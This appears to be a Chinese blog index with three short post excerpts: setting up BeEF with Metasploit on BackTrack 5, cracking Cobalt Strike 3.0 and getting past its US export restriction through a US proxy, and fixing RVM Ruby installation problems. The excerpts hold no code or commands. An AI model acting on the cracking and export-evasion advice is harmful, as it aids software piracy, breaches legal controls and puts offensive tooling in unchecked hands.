本文将主要介绍如何在BeEF中配置和使用metapsloit 如何配置beef和metasploit windows下安装BeEF是一件比较麻烦的事，因为BeEF使用了ruby语言编写，同时需要ruby下的各种库支持，所以本文的实验环境将在著名的 linux发行版BackTrack5—R2进行，省去…

Cobalt Strike 3.0 破解

官网下载地址:https://www.cobaltstrike.com/download 作者解释Cobalt Strike是美国对外限制型出口软件，只在美国和加拿大允许发售。 所以我们需要google搜索下usa的个人代理来绕开限制。 这里检测还是计较严格的，很多小伙伴可能是美国的ip也下载不了，…

RVM的安装和使用过程中碰到的问题

Ruby Version Manager简称RVM,是一款非常好用的ruby版本管理以及安装工具。 关于rvm的安装，可以参考以下文章： use rvm install and manage ruby version Set up professional rails3 develpment on …